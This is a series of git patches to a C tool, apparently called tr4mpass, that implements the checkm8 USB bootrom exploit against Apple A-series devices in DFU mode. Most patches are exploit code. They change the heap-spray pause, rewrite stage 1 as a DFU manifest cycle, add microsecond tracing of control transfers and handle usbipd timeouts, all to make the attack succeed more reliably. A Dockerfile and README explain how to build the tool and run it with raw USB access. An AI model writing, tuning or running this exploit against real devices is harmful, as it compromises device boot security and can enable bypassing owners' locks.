From 34fd49dcbbc4a0bcfd6d56d48b1dabcb88777de4 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 09:18:00 -0300 Subject: [PATCH 1/8] fix(checkm8): only pause after the spray on usbipd-win Stage 3 ended with an unconditional 1 s sleep before stage 4. The delay was added for usbipd-win, where the vhci layer frees the spray buffers late, but on a native host the reference implementation goes straight from the spray to the overwrite. An idle second between the last confirmed STALL and the overwrite is a window in which the device can leave dfuIDLE on its own. When it does, the next control transfer returns LIBUSB_ERROR_NO_DEVICE (-4) and the sequence fails at stage 4 with no other trace. Keep the pause only where it is needed. --- src/exploit/checkm8_spray.c | 11 ++++++++++- 1 file changed, 10 insertions(+), 1 deletion(-) diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index 4d66677..937c9f5 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -296,8 +296,17 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) * * Wait 1 second to ensure all spray buffers are freed by the * device before stage 4's DFU_DNLOAD allocation. + * + * This delay is only required on usbipd-win, which is the setup + * that motivated it: the vhci layer adds latency and the buffers + * are freed late. On a native host the reference implementation + * goes straight from the spray to the overwrite, and the idle + * second is a window in which the device can leave dfuIDLE on its + * own. When that happens the next control transfer returns + * NO_DEVICE (-4) and the sequence fails at stage 4. */ - usleep(1000000); /* 1 s */ + if (getenv("WSL_DISTRO_NAME") != NULL) + usleep(1000000); /* 1 s -- usbipd-win only */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); From 1896733217cf0b01c5c23a7f5d3965541f454591 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 09:18:58 -0300 Subject: [PATCH 2/8] chore(exploit): trace every control transfer with monotonic timing The only trace of a failed sequence was the stage-4 error line. LIBUSB_ERROR_NO_DEVICE is ambiguous: it is the same code whether the device left the bus mid-transfer or between stages, and that distinction decides which stage to look at. Log request, result and elapsed microseconds for every control transfer, plus whether the async setup transfer completed or was cancelled. Everything is log_debug, so the default output does not change. --- src/exploit/checkm8_stages.c | 35 ++++++++++++++++++++++++++++++++++- 1 file changed, 34 insertions(+), 1 deletion(-) diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index 9e7626b..3cb49ff 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -6,6 +6,7 @@ #include #include +#include #include #include @@ -37,15 +38,37 @@ int usb_ctrl_transfer_raw(libusb_device_handle *dev, unsigned int timeout_ms) { unsigned int effective_timeout_ms = timeout_ms; + struct timespec t0, t1; + long elapsed_us; + int ret; if (!dev) return LIBUSB_ERROR_INVALID_PARAM; if (effective_timeout_ms == 0) effective_timeout_ms = 1; - return libusb_control_transfer(dev, bmRequestType, bRequest, + clock_gettime(CLOCK_MONOTONIC, &t0); + ret = libusb_control_transfer(dev, bmRequestType, bRequest, wValue, wIndex, data, wLength, effective_timeout_ms); + clock_gettime(CLOCK_MONOTONIC, &t1); + + elapsed_us = (long)((t1.tv_sec - t0.tv_sec) * 1000000L + + (t1.tv_nsec - t0.tv_nsec) / 1000L); + + /* + * Trace every control transfer of the sequence with its result and + * how long it took. A -4 (NO_DEVICE) tells nothing on its own: it + * is the same code whether the device left the bus mid-transfer or + * between stages. The elapsed time of this transfer and of the one + * before it is what separates the two cases. + */ + log_debug("usb: bmRT=0x%02X bReq=0x%02X wVal=0x%04X wIdx=0x%04X " + "len=%u timeout=%ums ret=%d elapsed=%ldus", + bmRequestType, bRequest, wValue, wIndex, wLength, + effective_timeout_ms, ret, elapsed_us); + + return ret; } int usb_ctrl_transfer_no_data_raw(libusb_device_handle *dev, @@ -202,6 +225,16 @@ int usb_ctrl_transfer_dnload_abort(libusb_device_handle *dev, if (completed) actual_len = (int)transfer->actual_length; + /* + * The setup stage decides the pad length from this value. Log the + * three states separately: completed with a length, cancelled + * (actual_len reported as 0), and submit failure. A cancel that + * reports 0 makes the pad the whole overwrite_pad, which is a + * different state than the reference reaches on most attempts. + */ + log_debug("usb: async DNLOAD abort=%ums completed=%d actual_len=%d", + abort_ms, completed, actual_len); + free(buf); libusb_free_transfer(transfer); return actual_len; From 7d65a2d2b990afcf772f5fb37bca98a6c4923833 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 09:28:10 -0300 Subject: [PATCH 3/8] fix(checkm8): run the DFU manifest cycle in stage 1 Stage 1 only did GETSTATUS + reset-to-idle, which on a fresh dfuIDLE entry is a no-op. The reference drives the state machine through DNLOAD(16), DNLOAD(0) and the MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET transition, then DNLOAD(64). Without the cycle the device can leave dfuIDLE on its own and the final control transfer returns NO_DEVICE. This keeps the existing stage order and adds no bus reset; it only makes the reset stage actually reach a known state. --- src/exploit/checkm8_stages.c | 118 +++++++++++++++++++++++++++++------ 1 file changed, 99 insertions(+), 19 deletions(-) diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index 3cb49ff..a8b9e13 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -272,10 +272,77 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev, * usbipd-win auto-attach adds ~1-2 s on top of the hardware reset time. */ #define BUS_RESET_REENUMERATE_USEC 3500000 /* 3.5 s */ +/* + * Stage 1 helpers. + * + * DFU state/request constants live in dfu_proto.h; the retry count and + * settle delay mirror the DFU_MAX_RETRIES / RESET_IDLE_RETRY_DELAY_USEC + * locals of dfu_proto.c, which are not exported. + */ +#define STAGE1_MANIFEST_RETRIES 10 +#define STAGE1_MANIFEST_DELAY_USEC 20000 + +/* + * stage1_dnload_exact -- DFU_DNLOAD with an exact-length check. + * + * gaster's stage 1 requires the device to accept the full block (16 and + * 64 bytes). dfu_dnload() reports success for any non-negative return, + * so send the request directly and insist on the exact length. + */ +static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len) +{ + uint8_t *buf = NULL; + int ret; + + if (len > 0) { + buf = calloc(1, len); + if (!buf) + return -1; + } + + /* 0x21 = host-to-device, class, interface (the DFU_BMRT_OUT value + * kept local to dfu_proto.c); timeout 5000 ms matches DFU_TIMEOUT. */ + ret = usb_ctrl_transfer_raw(usb, 0x21, DFU_REQ_DNLOAD, 0, 0, + buf, len, 5000); + free(buf); + + if (ret < 0) { + log_error("stage1_dnload_exact: DNLOAD(%u) failed: %s", + len, libusb_strerror(ret)); + return -1; + } + if (ret != len) { + log_error("stage1_dnload_exact: DNLOAD(%u) accepted %d of %u bytes", + len, ret, len); + return -1; + } + return 0; +} + +/* + * dfu_wait_state -- poll GETSTATUS until the device reports the given + * state with DFU_STATUS_OK, mirroring gaster's dfu_check_status. + */ +static int dfu_wait_state(libusb_device_handle *usb, uint8_t state) +{ + dfu_status_t st; + int attempt; + + for (attempt = 0; attempt < STAGE1_MANIFEST_RETRIES; ++attempt) { + if (dfu_get_status(usb, &st) == 0 && + st.bStatus == DFU_STATUS_OK && st.bState == state) + return 0; + usleep(STAGE1_MANIFEST_DELAY_USEC); + } + + log_error("dfu_wait_state: device never reached state 0x%02X " + "(last 0x%02X)", state, st.bState); + return -1; +} + int checkm8_stage_reset(exploit_ctx_t *ctx) { libusb_device_handle *usb; - dfu_status_t status; if (!ctx || !ctx->dev) return -1; @@ -284,31 +351,44 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) log_info("checkm8: stage 1/4 -- reset DFU state"); /* - * First: get the current device state so we know how much work to do. + * Reference sequence (gaster checkm8_stage_reset): * - * If the device is already in dfuIDLE (fresh DFU entry) dfu_reset_to_idle - * will return immediately. If it's stuck in dfuDNLOAD-IDLE, dfuError, - * or dfuMANIFEST-WAIT-RESET from a previous attempt, dfu_reset_to_idle - * will use ABORT + CLRSTATUS (no USB bus reset) to recover. + * 1. DNLOAD(DFU_FILE_SUFFIX_LEN) -- 16 bytes + * 2. DNLOAD(0), then poll GETSTATUS through + * MANIFEST_SYNC -> MANIFEST -> MANIFEST_WAIT_RESET + * 3. DNLOAD(EP0_MAX_PACKET_SZ) -- 64 bytes * - * We intentionally do NOT call libusb_reset_device here: on Apple A-series - * iBoot DFU, a USB bus reset via libusb is treated as a hard power-cycle - * event, causing the device to reboot out of DFU mode entirely rather than - * returning to dfuIDLE. DFU protocol-level recovery is sufficient. + * The manifest cycle is not just cleanup. It drives the DFU state + * machine to a known point and leaves 16- and 64-byte blocks free + * for the stages that follow. Skipping it (only GETSTATUS + a + * reset to idle) left the device able to leave dfuIDLE on its own, + * which made the final control transfer return NO_DEVICE. + * + * No libusb bus reset here: on Apple A-series iBoot DFU a bus reset + * is a hard power-cycle event that reboots the device out of DFU. + * The manifest cycle is protocol-level only. */ - if (dfu_get_status(usb, &status) == 0) { - log_debug("checkm8_stage_reset: device state=0x%02X status=0x%02X", - status.bState, status.bStatus); - } + if (stage1_dnload_exact(usb, DFU_FILE_SUFFIX_LEN) != 0) + goto fail; - if (dfu_reset_to_idle(usb) != 0) { - log_error("checkm8_stage_reset: failed to reach dfuIDLE"); - return -1; - } + if (stage1_dnload_exact(usb, 0) != 0) + goto fail; + + if (dfu_wait_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || + dfu_wait_state(usb, DFU_STATE_MANIFEST) != 0 || + dfu_wait_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0) + goto fail; + + if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0) + goto fail; ctx->phase = EXPLOIT_PHASE_RESET; - log_info("checkm8: stage 1 complete -- DFU state reset to idle"); + log_info("checkm8: stage 1 complete -- manifest cycle done"); return 0; + +fail: + dfu_clr_status(usb); + return -1; } /* ------------------------------------------------------------------ */ From 00e1823dc53b10dccb3e8a32d13bc43fd91514a7 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 12:31:59 -0300 Subject: [PATCH 4/8] build: containerised build with every dependency pinned The repository needs seven development packages plus libcurl transitives, which is where a fresh clone usually stops. The Dockerfile pins them on Debian trixie and builds the binary; README-REPRO explains the native path (start.sh already installs per-OS) and the container path, including the USB flags the sequence needs at run time. --- Dockerfile | 27 +++++++++++++++++++++++++++ README-REPRO.md | 36 ++++++++++++++++++++++++++++++++++++ 2 files changed, 63 insertions(+) create mode 100644 Dockerfile create mode 100644 README-REPRO.md diff --git a/Dockerfile b/Dockerfile new file mode 100644 index 0000000..4fa5114 --- /dev/null +++ b/Dockerfile @@ -0,0 +1,27 @@ +# syntax=docker/dockerfile:1 +# Build reproducible de tr4mpass con todas sus dependencias dentro de un +# contenedor, sin tocar el sistema. Debian trixie == el host de desarrollo. +FROM debian:trixie-slim + +RUN apt-get update && apt-get install -y --no-install-recommends \ + build-essential pkg-config \ + libimobiledevice-dev libirecovery-1.0-dev libusb-1.0-0-dev libplist-dev \ + libssl-dev libcurl4-openssl-dev libssh2-1-dev \ + usbutils usbmuxd ca-certificates \ + && rm -rf /var/lib/apt/lists/* + +WORKDIR /build + +# Solo lo que make necesita: Makefile, src/, include/ y tests/ (el target +# .chip-db-canary depende de tests/chip_db_canary.c). +COPY Makefile ./ +COPY src ./src +COPY include ./include +COPY tests ./tests + +RUN make clean && make + +# El binario queda en /build/tr4mpass. +# Correr con acceso USB directo: +# podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v +CMD ["/bin/bash"] diff --git a/README-REPRO.md b/README-REPRO.md new file mode 100644 index 0000000..e7be942 --- /dev/null +++ b/README-REPRO.md @@ -0,0 +1,36 @@ +# Reproducir el build de tr4mpass (fix checkm8 A8/xHCI) en cualquier PC + +Rama: `fix/checkm8-a8-xhci` (3 commits: F1, F0, F3). + +## Vía 1 — Nativo (la que usa USB directo, recomendada para correr) + +El script `start.sh` detecta el SO e instala todas las dependencias y compila: + +``` +git clone +cd tr4mpass +./start.sh +``` + +`start.sh` usa `sudo` para instalar deps vía apt/brew/dnf/pacman/zypper/apk y corre +`make clean && make`. La iPad se conecta por USB a esa misma máquina. + +## Vía 2 — Contenedor (build reproducible, sin tocar el sistema) + +``` +podman build -t tr4mpass . +``` + +El `Dockerfile` (Debian trixie) instala `libimobiledevice-dev libirecovery-1.0-dev +libusb-1.0-0-dev libplist-dev libssl-dev libcurl4-openssl-dev libssh2-1-dev +pkg-config build-essential usbutils usbmuxd` y compila el binario. + +Para correr dentro del contenedor hace falta pasar el USB directo: + +``` +podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v +``` + +Nota: el exploit necesita USB a nivel de controlador (libusb sobre el bus real). En un +contenedor eso exige `--privileged` + montar `/dev/bus/usb`; en una VM/WSL hace falta +además passthrough del dispositivo. From 251b2df39c445b402e301e889d704b1ce96bfc87 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 12:43:23 -0300 Subject: [PATCH 5/8] fix(checkm8): one GETSTATUS per manifest state; detect usbipd by kernel marker The stage-1 rewrite polled each manifest state up to ten times. Every GETSTATUS advances the device state machine, so a repeat request for a state that already passed reads the next one and the sequence desynchronises; the reference issues exactly three requests, one per state. Drop the retry loop and send one request per state. Both usbipd gates looked only at WSL_DISTRO_NAME, which sudo drops with env_reset -- the way most of the reports run the tool. Read /proc/version as well, which keeps a marker that survives sudo, and reuse the same helper for the post-spray pause. --- src/exploit/checkm8_spray.c | 58 +++++++++++++++++--------- src/exploit/checkm8_stages.c | 80 +++++++++++++++++++++++++++--------- 2 files changed, 100 insertions(+), 38 deletions(-) diff --git a/src/exploit/checkm8_spray.c b/src/exploit/checkm8_spray.c index 937c9f5..d9b5dea 100644 --- a/src/exploit/checkm8_spray.c +++ b/src/exploit/checkm8_spray.c @@ -4,6 +4,7 @@ * Gaster typically converges in a handful of iterations; 100 is generous. */ #define MAX_STALL_RETRIES 100 +#include #include #include #include @@ -179,6 +180,35 @@ int checkm8_no_leak(libusb_device_handle *usb, uint8_t iserial_idx) /* Stage 3: Heap spray */ /* ------------------------------------------------------------------ */ +/* + * usbipd_present -- true when the device is reached through usbipd. + * + * WSL_DISTRO_NAME alone is not enough: sudo resets the environment by + * default, so the variable disappears exactly when the tool is run the + * way most of the reports run it. /proc/version keeps a marker that + * survives sudo. + */ +static int usbipd_present(void) +{ + FILE *f; + char buf[256]; + size_t n; + + if (getenv("WSL_DISTRO_NAME") != NULL) + return 1; + + f = fopen("/proc/version", "r"); + if (!f) + return 0; + + n = fread(buf, 1, sizeof(buf) - 1, f); + fclose(f); + buf[n] = '\0'; + + return strstr(buf, "microsoft") != NULL || + strstr(buf, "Microsoft") != NULL; +} + int checkm8_stage_spray(exploit_ctx_t *ctx) { libusb_device_handle *usb; @@ -287,26 +317,16 @@ int checkm8_stage_spray(exploit_ctx_t *ctx) } /* - * On usbipd-win, GET_DESCRIPTOR spray requests are sent with - * very short timeouts (1ms). The device allocates response - * buffers that are only freed after its own internal USB timeout - * fires (~50-200ms per buffer). If stage 4 starts immediately, - * those buffers still occupy the heap and the DFU_DNLOAD - * io_buffer cannot land at insecure_memory_base. - * - * Wait 1 second to ensure all spray buffers are freed by the - * device before stage 4's DFU_DNLOAD allocation. - * - * This delay is only required on usbipd-win, which is the setup - * that motivated it: the vhci layer adds latency and the buffers - * are freed late. On a native host the reference implementation - * goes straight from the spray to the overwrite, and the idle - * second is a window in which the device can leave dfuIDLE on its - * own. When that happens the next control transfer returns - * NO_DEVICE (-4) and the sequence fails at stage 4. + * The delay is only required on usbipd-win, which is the setup that + * motivated it: the vhci layer adds latency and the buffers are + * freed late. On a native host the reference implementation goes + * straight from the spray to the overwrite, and the idle second is + * a window in which the device can leave dfuIDLE on its own. When + * that happens the next control transfer returns NO_DEVICE (-4) and + * the sequence fails at stage 4. */ - if (getenv("WSL_DISTRO_NAME") != NULL) - usleep(1000000); /* 1 s -- usbipd-win only */ + if (usbipd_present()) + usleep(1000000); /* 1 s -- usbipd only */ ctx->phase = EXPLOIT_PHASE_SPRAY; log_info("checkm8: stage 3 complete -- heap spray done"); diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index a8b9e13..bf8968d 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -4,6 +4,7 @@ * Gaster typically succeeds within 5-10 attempts; 50 is generous. */ #define MAX_SETUP_RETRIES 50 +#include #include #include #include @@ -275,12 +276,37 @@ int usb_ctrl_transfer_dnload_sync(libusb_device_handle *dev, /* * Stage 1 helpers. * - * DFU state/request constants live in dfu_proto.h; the retry count and - * settle delay mirror the DFU_MAX_RETRIES / RESET_IDLE_RETRY_DELAY_USEC - * locals of dfu_proto.c, which are not exported. + * DFU request/state constants live in dfu_proto.h. */ -#define STAGE1_MANIFEST_RETRIES 10 -#define STAGE1_MANIFEST_DELAY_USEC 20000 + +/* + * usbipd_present -- true when the device is reached through usbipd. + * + * WSL_DISTRO_NAME alone is not enough: sudo resets the environment by + * default, so the variable disappears exactly when the tool is run the + * way most of the reports run it. /proc/version keeps a marker that + * survives sudo. + */ +static int usbipd_present(void) +{ + FILE *f; + char buf[256]; + size_t n; + + if (getenv("WSL_DISTRO_NAME") != NULL) + return 1; + + f = fopen("/proc/version", "r"); + if (!f) + return 0; + + n = fread(buf, 1, sizeof(buf) - 1, f); + fclose(f); + buf[n] = '\0'; + + return strstr(buf, "microsoft") != NULL || + strstr(buf, "Microsoft") != NULL; +} /* * stage1_dnload_exact -- DFU_DNLOAD with an exact-length check. @@ -320,24 +346,40 @@ static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len) } /* - * dfu_wait_state -- poll GETSTATUS until the device reports the given - * state with DFU_STATUS_OK, mirroring gaster's dfu_check_status. + * dfu_check_state -- one GETSTATUS, compared against the expected state. + * + * gaster issues exactly three GETSTATUS requests here, one per state of + * the manifest cycle. Polling for more is not harmless: each GETSTATUS + * advances the device's state machine, so a repeat request for a state + * that already passed reads the next one and the sequence desynchronises. + * + * The one tolerated failure is the usbipd case, consistent with + * dfu_reset_to_idle(): that transport can expose a device that answers + * everything except GETSTATUS, and failing the stage there would trade + * one transport bug for another. */ -static int dfu_wait_state(libusb_device_handle *usb, uint8_t state) +static int dfu_check_state(libusb_device_handle *usb, uint8_t state) { dfu_status_t st; - int attempt; - for (attempt = 0; attempt < STAGE1_MANIFEST_RETRIES; ++attempt) { - if (dfu_get_status(usb, &st) == 0 && - st.bStatus == DFU_STATUS_OK && st.bState == state) + if (dfu_get_status(usb, &st) != 0) { + if (usbipd_present()) { + log_warn("dfu_check_state: GETSTATUS failed on usbipd -- " + "assuming state 0x%02X was reached", state); return 0; - usleep(STAGE1_MANIFEST_DELAY_USEC); + } + log_error("dfu_check_state: GETSTATUS failed while waiting for " + "state 0x%02X", state); + return -1; } - log_error("dfu_wait_state: device never reached state 0x%02X " - "(last 0x%02X)", state, st.bState); - return -1; + if (st.bStatus != DFU_STATUS_OK || st.bState != state) { + log_error("dfu_check_state: expected state 0x%02X with status OK, " + "got 0x%02X/0x%02X", state, st.bState, st.bStatus); + return -1; + } + + return 0; } int checkm8_stage_reset(exploit_ctx_t *ctx) @@ -374,9 +416,9 @@ int checkm8_stage_reset(exploit_ctx_t *ctx) if (stage1_dnload_exact(usb, 0) != 0) goto fail; - if (dfu_wait_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || - dfu_wait_state(usb, DFU_STATE_MANIFEST) != 0 || - dfu_wait_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0) + if (dfu_check_state(usb, DFU_STATE_MANIFEST_SYNC) != 0 || + dfu_check_state(usb, DFU_STATE_MANIFEST) != 0 || + dfu_check_state(usb, DFU_STATE_MANIFEST_WAIT_RST) != 0) goto fail; if (stage1_dnload_exact(usb, EP0_MAX_PACKET_SZ) != 0) From 77cfede8796ef08c09cf6a8b16ef0168dc0f0195 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 12:45:49 -0300 Subject: [PATCH 6/8] docs: translate the build files and keep the branch summary current --- Dockerfile | 12 ++++++------ README-REPRO.md | 32 +++++++++++++++++--------------- 2 files changed, 23 insertions(+), 21 deletions(-) diff --git a/Dockerfile b/Dockerfile index 4fa5114..3e8ef63 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,6 @@ # syntax=docker/dockerfile:1 -# Build reproducible de tr4mpass con todas sus dependencias dentro de un -# contenedor, sin tocar el sistema. Debian trixie == el host de desarrollo. +# Reproducible build of tr4mpass with every dependency inside the image, so +# nothing is installed on the host. Debian trixie matches the development host. FROM debian:trixie-slim RUN apt-get update && apt-get install -y --no-install-recommends \ @@ -12,8 +12,8 @@ RUN apt-get update && apt-get install -y --no-install-recommends \ WORKDIR /build -# Solo lo que make necesita: Makefile, src/, include/ y tests/ (el target -# .chip-db-canary depende de tests/chip_db_canary.c). +# Only what make needs: the Makefile, src/, include/ and tests/ (the +# .chip-db-canary target depends on tests/chip_db_canary.c). COPY Makefile ./ COPY src ./src COPY include ./include @@ -21,7 +21,7 @@ COPY tests ./tests RUN make clean && make -# El binario queda en /build/tr4mpass. -# Correr con acceso USB directo: +# The binary ends up at /build/tr4mpass. +# Running it needs direct USB access: # podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v CMD ["/bin/bash"] diff --git a/README-REPRO.md b/README-REPRO.md index e7be942..e098e04 100644 --- a/README-REPRO.md +++ b/README-REPRO.md @@ -1,36 +1,38 @@ -# Reproducir el build de tr4mpass (fix checkm8 A8/xHCI) en cualquier PC +# Reproducing the build of tr4mpass (checkm8 A8/xHCI branch) -Rama: `fix/checkm8-a8-xhci` (3 commits: F1, F0, F3). +Branch: `fix/checkm8-a8-xhci`. -## Vía 1 — Nativo (la que usa USB directo, recomendada para correr) +## Option 1 — Native (recommended for actually running it) -El script `start.sh` detecta el SO e instala todas las dependencias y compila: +`start.sh` detects the OS, installs every dependency and builds: ``` -git clone +git clone cd tr4mpass ./start.sh ``` -`start.sh` usa `sudo` para instalar deps vía apt/brew/dnf/pacman/zypper/apk y corre -`make clean && make`. La iPad se conecta por USB a esa misma máquina. +It installs packages through apt/brew/dnf/pacman/zypper/apk (needs `sudo`) and +runs `make clean && make`. The device must be connected by USB to that same +machine. -## Vía 2 — Contenedor (build reproducible, sin tocar el sistema) +## Option 2 — Container (reproducible build, nothing installed on the host) ``` podman build -t tr4mpass . ``` -El `Dockerfile` (Debian trixie) instala `libimobiledevice-dev libirecovery-1.0-dev -libusb-1.0-0-dev libplist-dev libssl-dev libcurl4-openssl-dev libssh2-1-dev -pkg-config build-essential usbutils usbmuxd` y compila el binario. +The Dockerfile (Debian trixie) installs `libimobiledevice-dev`, +`libirecovery-1.0-dev`, `libusb-1.0-0-dev`, `libplist-dev`, `libssl-dev`, +`libcurl4-openssl-dev`, `libssh2-1-dev`, `pkg-config`, `build-essential`, +`usbutils` and `usbmuxd`, then builds the binary. -Para correr dentro del contenedor hace falta pasar el USB directo: +Running inside the container needs the USB bus passed through: ``` podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v ``` -Nota: el exploit necesita USB a nivel de controlador (libusb sobre el bus real). En un -contenedor eso exige `--privileged` + montar `/dev/bus/usb`; en una VM/WSL hace falta -además passthrough del dispositivo. +Note: the sequence drives EP0 directly through libusb, so it needs the real USB +bus. Inside a container that means `--privileged` plus mounting `/dev/bus/usb`; +inside a VM or WSL it needs device passthrough as well. From e3ecb9e14caa7e912ba632e771e4220ee23cd742 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 12:47:21 -0300 Subject: [PATCH 7/8] build: drop the in-container usbmuxd and document the USB limits usbmuxd inside the image competes with the host daemon for the device and is not mounted anyway. Add a .dockerignore so the build context does not carry host objects, and document that the binary links against trixie libraries and therefore is not meant to be copied out, plus the rootful/udev requirement for USB access. --- .dockerignore | 12 ++++++++++++ Dockerfile | 15 ++++++++++----- README-REPRO.md | 27 ++++++++++++++++++++------- 3 files changed, 42 insertions(+), 12 deletions(-) create mode 100644 .dockerignore diff --git a/.dockerignore b/.dockerignore new file mode 100644 index 0000000..0ce1f8a --- /dev/null +++ b/.dockerignore @@ -0,0 +1,12 @@ +.git +.gitignore +*.o +tr4mpass +.build-flags +tests/*.bin +tests/run_tests +tests/run_mock_tests +notes +research +*.md +!README-REPRO.md diff --git a/Dockerfile b/Dockerfile index 3e8ef63..90c3243 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,13 +1,16 @@ # syntax=docker/dockerfile:1 # Reproducible build of tr4mpass with every dependency inside the image, so -# nothing is installed on the host. Debian trixie matches the development host. +# nothing gets installed on the host. Debian trixie matches the development +# host. The binary links against trixie's shared libraries, so it is meant to +# run inside this image, not to be copied out: on another machine it will fail +# with "cannot open shared object file". FROM debian:trixie-slim RUN apt-get update && apt-get install -y --no-install-recommends \ build-essential pkg-config \ libimobiledevice-dev libirecovery-1.0-dev libusb-1.0-0-dev libplist-dev \ libssl-dev libcurl4-openssl-dev libssh2-1-dev \ - usbutils usbmuxd ca-certificates \ + usbutils \ && rm -rf /var/lib/apt/lists/* WORKDIR /build @@ -21,7 +24,9 @@ COPY tests ./tests RUN make clean && make -# The binary ends up at /build/tr4mpass. -# Running it needs direct USB access: -# podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v +# The binary ends up at /build/tr4mpass. Running it needs the real USB bus: +# podman run --rm -it --device-cgroup-rule='c 189:* rwm' \ +# -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v +# 189 is the USB major. Rootless podman cannot open those nodes (they are +# root:root 0664), so running needs rootful podman or a udev rule on the host. CMD ["/bin/bash"] diff --git a/README-REPRO.md b/README-REPRO.md index e098e04..a80783e 100644 --- a/README-REPRO.md +++ b/README-REPRO.md @@ -24,15 +24,28 @@ podman build -t tr4mpass . The Dockerfile (Debian trixie) installs `libimobiledevice-dev`, `libirecovery-1.0-dev`, `libusb-1.0-0-dev`, `libplist-dev`, `libssl-dev`, -`libcurl4-openssl-dev`, `libssh2-1-dev`, `pkg-config`, `build-essential`, -`usbutils` and `usbmuxd`, then builds the binary. +`libcurl4-openssl-dev`, `libssh2-1-dev`, `pkg-config` and `build-essential`, +then builds the binary. -Running inside the container needs the USB bus passed through: +### The binary is not portable + +It links against trixie's shared libraries. Copying `/build/tr4mpass` to another +machine fails with `cannot open shared object file`. The container is meant to +build and run the binary inside the image, not to produce a portable artifact. + +### Running with USB access + +The sequence drives EP0 directly through libusb, so it needs the real USB bus: ``` -podman run --rm -it --privileged -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v +podman run --rm -it --device-cgroup-rule='c 189:* rwm' \ + -v /dev/bus/usb:/dev/bus/usb tr4mpass ./tr4mpass -v ``` -Note: the sequence drives EP0 directly through libusb, so it needs the real USB -bus. Inside a container that means `--privileged` plus mounting `/dev/bus/usb`; -inside a VM or WSL it needs device passthrough as well. +189 is the USB major number. Two limits to be aware of: + +- Rootless podman cannot open the `/dev/bus/usb` nodes (they are `root:root` + 0664), so this needs rootful podman or a udev rule on the host. +- On macOS and Windows the Linux VM does not receive the USB device, so the + container route does not work there. On SELinux hosts you may need + `--security-opt label=disable`. From 5a2494d63e1c815d754712903286fbc85d7dc7d3 Mon Sep 17 00:00:00 2001 From: debian Date: Sun, 29 Nov 2026 12:50:20 -0300 Subject: [PATCH 8/8] fix(checkm8): treat a DNLOAD timeout in stage 1 as delivered, not failed usbipd drops the STATUS ACK of a DNLOAD, so the transfer reports TIMEOUT although the device consumed every byte; send_dfu_finalize() and send_payload_chunks() already rely on that. The new exact-length check treated TIMEOUT as a hard error, which would have failed stage 1 on usbipd -- the transport the stage was rewritten for. --- src/exploit/checkm8_stages.c | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/src/exploit/checkm8_stages.c b/src/exploit/checkm8_stages.c index bf8968d..29bb63b 100644 --- a/src/exploit/checkm8_stages.c +++ b/src/exploit/checkm8_stages.c @@ -333,6 +333,18 @@ static int stage1_dnload_exact(libusb_device_handle *usb, uint16_t len) free(buf); if (ret < 0) { + /* + * On usbipd the STATUS ACK of a DNLOAD is dropped and surfaces as + * TIMEOUT even though the device consumed every byte; + * send_dfu_finalize() and send_payload_chunks() rely on the same + * property, so a TIMEOUT is not a failed transfer. Failing here + * would break stage 1 on the one transport that needs it most. + */ + if (ret == LIBUSB_ERROR_TIMEOUT) { + log_warn("stage1_dnload_exact: DNLOAD(%u) timed out after " + "sending the block -- continuing", len); + return 0; + } log_error("stage1_dnload_exact: DNLOAD(%u) failed: %s", len, libusb_strerror(ret)); return -1;